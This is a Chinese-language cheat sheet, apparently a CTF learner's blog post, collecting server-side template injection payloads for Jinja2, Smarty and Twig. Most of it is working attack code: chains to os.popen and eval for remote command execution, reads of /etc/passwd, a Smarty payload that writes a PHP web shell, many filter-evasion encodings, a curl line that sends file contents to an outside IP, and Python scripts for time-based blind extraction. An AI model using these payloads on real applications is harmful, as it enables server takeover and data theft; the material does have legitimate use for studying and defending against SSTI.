看看ssti


整理一下有关服务端模板注入(server side template injection)的东西

开局一张经典老图,判断类型:


Python的一些特性

在python中,有一些独特的特性:

  • python中的类均继承于object基类
  • python中还有一系列的魔术方法,一些函数的实现也是通过直接调用魔术方法的,常用的魔术方法有:
    • __init__: 构造函数,一般是接受类初始化的参数,并且进行一系列初始化的操作
    • __len__: 返回对象的长度
    • __str__: 返回对象的字符串表示
    • __getattr__: 对象是否含有某属性,等价于函数方法getattr(a, 'b'),相当于a.b
    • __subclasses__: 返回当前类的所有子类,一般用于object类中,然后找到带有os的模块实现rce
  • python的类中也有一些魔术属性:
    • __dict__: 可以查看内部所有属性名和属性值组成的字典
    • __class__:返回当前对象所属的类,例如''.__class__会返回<class 'str'>。拿到类后就可以构造函数生成新的对象,如''.__class__(1234)等价于str(1234),即'1234'
    • __base__: 返回当前类的基类,例如str.__base__就会返回<class 'str'>
  • 此外还有一些重要的函数:
    • __mro__ 返回一个包含对象所继承的基类元组,按顺序解析
    • __globals__返回所有全局变量
    • __builtins__ 包含当前运行环境中默认的所有函数,如strchr等,可以通过拿到__builtins__,然后__import__('os').system('')进行RCE

通过从变量 -> 对象 -> 基类 -> 子类 -> 全局变量的方式,就可以进行ssti

一般思路:寻找到object基类后,引入os._wrap_close,然后寻找popen即可进行

一些参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{%set a="test"%}{{a}} #设置变量

url_for #flask的一个方法,可以得到builtins
get_flashed_messages #同上

url_for.__globals__['__builtins__'] #含有current_app
get_flashed_messages.__globals__['__builtins__']#同上

current_app #一个全局变量

#获取current_app
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

request #可用于获取字符串绕过,还可以获取open函数:
request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()

request.args.a #get传参a
request.values.a #任意传参a
request.cookies.a #cookie传参a
request.headers #请求头
request.form.a #post传参a
request.data #post传参(Content-Type: a/b)
request.json #post传参json
config #获取app的配置,此外,还可以:
{{config.__init__.__globals__['os'].popen('dir').read()}}
cyclet #作用同上

payload

jinja2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#几种获取object基类的基本形式:
''.__class__.__mro__[1]#也不一定是1
{}.__class__.__bases__[0] #{}.__class__.__base__
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[x] #x为数字,例如request.__class__.__mro__[3]
config.__class__.__mro__[x] #同上
#但是config都能直接跟__init__.__globals__了还要获取基类干什么呢..
#这里还有个cycler,我就不写了,和config是类似的

#获取子类的方法:
{{''.__class__.__mro__[1].__subclasses__()[147]}}
{{().__class__.__bases__.__getitem__(0).__subclasses__()[147]}}


#通过调用含有os的popen模块执行命令
#最经典的<class 'os._wrap_close'>、<class 'warnings.catch_warnings'> 还有比较少见的<class 'site._Printer'>
{{''.__class__.__mro__[1].__subclasses__(137).__init__.__globals__['popen']('cat /f*').read()}}
{{''.__class__.__mro__[1].__subclasses__(137).__init__.__globals__['popen']('ls').read()}}
{{''.__class__.__mro__[1].__subclasses__(137).__init__.__globals__['os'].system('ls')}}

#还可以使用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

#不含os模块的<class 'subprocess.Popen'>
{{%27%27.__class__.__mro__[2].__subclasses__()[258](%27cat%20flasklight/coomme_geeeett_youur_flek%27,shell=True,stdout=-1).communicate()[0].strip()}}

#利用<class 'warnings.catch_warnings'> 调用file、os、eval等
{{''.__class__.__mro__[1].__subclasses__[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}} #把read() 改为write('data')就是写文件

#调用eval方法
{{[].__class__.__base__.__subclasses__()[59].__init____globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

#调用commands进行命令执行:
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

#lipsum:
{{lipsum.__globals__['os'].popen['ls'].read()}}
{{lipsum.__globals__.get("os").popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}

#通过url_for和get_flashed_messages:
{{url_for.__globals__.os.popen('whoami').read()}}
{{get_flashed_messages.__globals__.os.popen('whoami').read()}}

#一个比较神奇的payload:
{{abc.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

#最经典的 flask获取eval函数并能命令执行的payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

#绕过一些过滤后的形式:
http://127.0.0.1:5000/?id={%for%0ai%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(1)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()")%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%}

smarty

smarty是一个基于PHP开发的php模板引擎,所以其payload与我们熟知的PHP命令执行十分相似:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
smarty的模板注入一般有两种形式
一种是{{}},跟jinja2差不多
另一种是{if 命令}{/if}
*/
//例如:
{{phpinfo()}} {if phpinfo()}{/if}
//后续同上:
{{readfile('/etc/passwd')}}
{{show_source('')}}
{{passthru('ls')}}
{{system('ls')}}
{{exec()}}
{{shell_exec()}}

//smarty写文件:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

twig

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ssti绕过过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{{被过滤:
可以使用{%%}代替{{}}

.被过滤:
参考官方原文:
You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]).

也就是说:
{{''.__class__}} 相当于{{''['__class__']}}

除此之外,还有:
Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and
items are not looked up.
也就是说 foo|attr("bar")相当于foo.bar

即 {{''.__class__}}相当于{{''|arrt("__class__")}}
常用于(.)和中括号([])都被过滤的情况

中括号([])被过滤:
可以利用getitem()来绕过:
{{''.__class__.__mro__[2]}} 相当于
{{''.__class__.__mro__.getitem(2)}}
还可以利用pop方法获得值:
pop通过删除字典给定值key所对应的值,返回值为被删除的值
当然,删除的话还是需要谨慎使用的,所以可以用比较安全的
get和setdefault
例如:
{{lipsum.__globals__.get("os").popen('ls').read()}}
{{url_for.__globals__.get('__builtins__')}} //或者是setdefault
当然,要是追溯回去的话,其实他们调用了魔术方法__getattribute__:
"".__class__
相当于"".__getattribute__("__class__")

对于关键字过滤:

1、关键字的拼接

非常常见的方法,在python中ab是可以又'a'+'b'拼接而成的,也就是说:__class__ = '__cla'+'ss__'

例如:

1
2
3
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subcla'+'sses__']()[137]['__ini'+'t__']['__glo'+'bals__']['po'+'pen']('ls').read()}}
相当于
{{''.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']('ls').read()}}

但实际上在jinja2内,"cla""ss"等同于"class"

1
2
3
{{''['__cla'+'ss__']}}
也可以写成
{{''['__cla''ss__']}}

2、关键字倒序输出、替换

简单地说就是类似于strrev()的操作,通过['__ssalc__'][::-1]输出__class__

1
{{''['__ssalc__'][::-1]}}
1
2
还能够和__getattribute__一同使用:
''.__getattribute__('__cla''ss__')

当然,倒序输出还可以使用reverse:

1
{{''['__ssalc__'|reverse]}}

关键字替换:

1
{{''['__claee__'|replace('ee', 'ss')]}}

3、ascii转换:

利用python的格式化字符串特性:

1
2
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
1
2
3
{{''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]}}
相当于
{{''.__class__}}

4、编码绕过

hex编码和unicode编码都可以,例如:

1
2
3
4
5
6
7
8
hex:
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

unicode:
"__globals__" == "\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F"

对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、chr函数,前提是需要通过__builtins__找到chr函数:

1
2
3
4
5
6
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
#读取/etc/passwd
#此处的pop(40)是绕过中括号限制的

6、jinja2内可以利用~进行拼接:

1
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换

前提只是过滤小写:

1
""["__CLASS__".lower()]

8、attr

当然,前文已经讲过attr能够在同时过滤点号和中括号时使用了:

1
""|attr("__class__")

9、join

1
2
3
4
join单独拼接:
""[['__cla', 'ss__']|join]
或者
""[('__cla', 'ss__')|join] #个人觉得这种看起来比较好看

10、利用请求方式绕过:

例如过滤了__class__

1
2
3
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__

如果还过滤了 args,可以使用request['values']和attr结合绕过

1
2
{{''.__class__}} => {{''|attr(request['values']['x'])}}
#post传入x=__class__

绕过中括号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__getitem__
#__mro__[2]等价于__mro__.__getitem__(2)

pop(40)
#上文已讲
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
#或者用非chr形式:
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)('/etc/passwd').read()}}

join和getlist拼接:
{{abc|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_



format
{{"%s, %s!"|format(greeting, name)}}
例如
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

first、last、random
first 返回序列的第一个元素
last 返回序列的最后一个元素
random 随机返回序列的一个元素

"".__class__.__mro__|last()
相当于"".__class__.__mro__[-1]

获取单独字符:

1、利用string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#例子:
{{''.__class__}} 返回<class 'str'>

{{(''.__class__|string)[0]}} 返回<

#利用select:
{{()|select|string}} => <generator object select_or_reject at 0x000002E4286769E0>
#这样,相比于<class 'str'>就有更多的字符进行拼接:
{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} => __class__

2、利用list配合pop

1
(()|select|string|list).pop(0)

绕过config参数

适用于一些题目中将flag设置在config中的题:

如果题目有app.config['FLAG'] = os.environ.pop['FLAG'],我们可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

但是如果过滤了config,我们可以利用self来间接得到config:

1
2
3
{{self}} => <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}}
=> 同样能获得config

过滤下划线_

利用编码绕过:

1
2
3
4
__class__ => \x5f\x5fclass\x5f\x5f
#_是\x5f
#.是\x2E
#当然,unicode编码也是可以绕过的

删除许多模块,但是没删除reload

仅适用于python2,通过reload恢复所有被删除的模块:

1
reload(__builtins__)

同时有大量过滤

例如过滤:

1
下划线、点、反斜杠、单双引号、request等关键字、加号、中括号、数字、命令读取等

思想大体是利用没有过滤的模块(可能如lipsum)来构造基础payload

比如没过滤lipsum,就可以先构造出基础payload:

1
{{lipsum.__globals__.get("os").popen('ls').read()}}

然后再考虑如何构造出关键字

这就要利用到上文的获取单独字符的方法和字符串拼接的方法join进行拼接

然后利用内置的{%set%} {%print%}进行变量设置和打印

逐步组装关键字

然后用print打印结果即可

详情可以看flask ssti的新姿势这篇文章

省流的话其实就是,利用{%set one=dict(c=a)|join|count%}获取到数字

利用pop方法获取到下划线:

{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}

再利用dict方法和join构造出__globals__ __builtins__等关键字

然后获取chr函数:

lipsum.__globals__.get('__builtins__').get('chr')

{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}

qwq

ssti盲注

盲注的困难在于没有回显,所以我们需要利用python的time库来进行时间盲注:

首先要获取到time库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
import sys#头文件

url="xxx?xxx="
res="" #结果
for i in range(0,1000): #循环
payload = "{"+"{"+"''.__class__.__mro__[1].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')" + "}" + "}"
start = time.time()
getp = url + payload
resp = requests.get(getp)
#post的自行改改就好了
end = time.time()
print(resp.status_code)
if end-start >=3:
print("bingo: "+str(i)+" ",end="\t")
else:
print("nonono: "+str(i)+" ",end="\t")

获取到能够import的参数后,进行盲注:

不知为何用不了asciiord,只能做一点简单的情况分析了:

当页面传入\"'等特殊符号时都有可能会报错,所以这些要加上\转义(popen内的内容任意修改即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time
import sys#头文件

url="xxx"

res="" #结果
for i in range(0,1000): #循环
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
if(chr(mid)== '\'' or chr(mid) == '\"' or chr(mid) == '\\'):
payload = "{%set n=''.__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if n[" +str(i) + "]<'" +"\\" + chr(mid) +"'%}{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}"
else:
payload = "{%set n=''.__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if n[" +str(i) + "]<'" + chr(mid) +"'%}{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}"
print(payload)
getp = url+payload
times = time.time() #发送访问请求前的时间
html = requests.get(getp)
timee = time.time() #发送访问后的时间
keep = timee - times #当然是大-小
time.sleep(0.2) #防止429
if keep > 2:
right = mid
else:
left = mid + 1
mid = (left + right) //2

if mid <= 32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Results:",res) #输出最终结果
#print("Final Results:",res[::-1]) #如果选择倒序,选这个

而且还有可能会多出一些东西,自己判断一下就好

四处收集的payload

1
2
{{lipsum.__globals__.__builtins__["list"](lipsum.__globals__.__builtins__["o""pen"]("/tmp/fl""ag")["re""ad"]())}}
#利用list,这里的括号是新姿势(?),调用list将flag的内容变成list输出

某比赛利用request绕过

1
?sentence={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=ls /

参考文章:

服务端模板注入(SSTI) | micgo’s blog

Y4tacker - SSTI模板注入及绕过姿势

yu22x - SSTI模板注入绕过(进阶篇)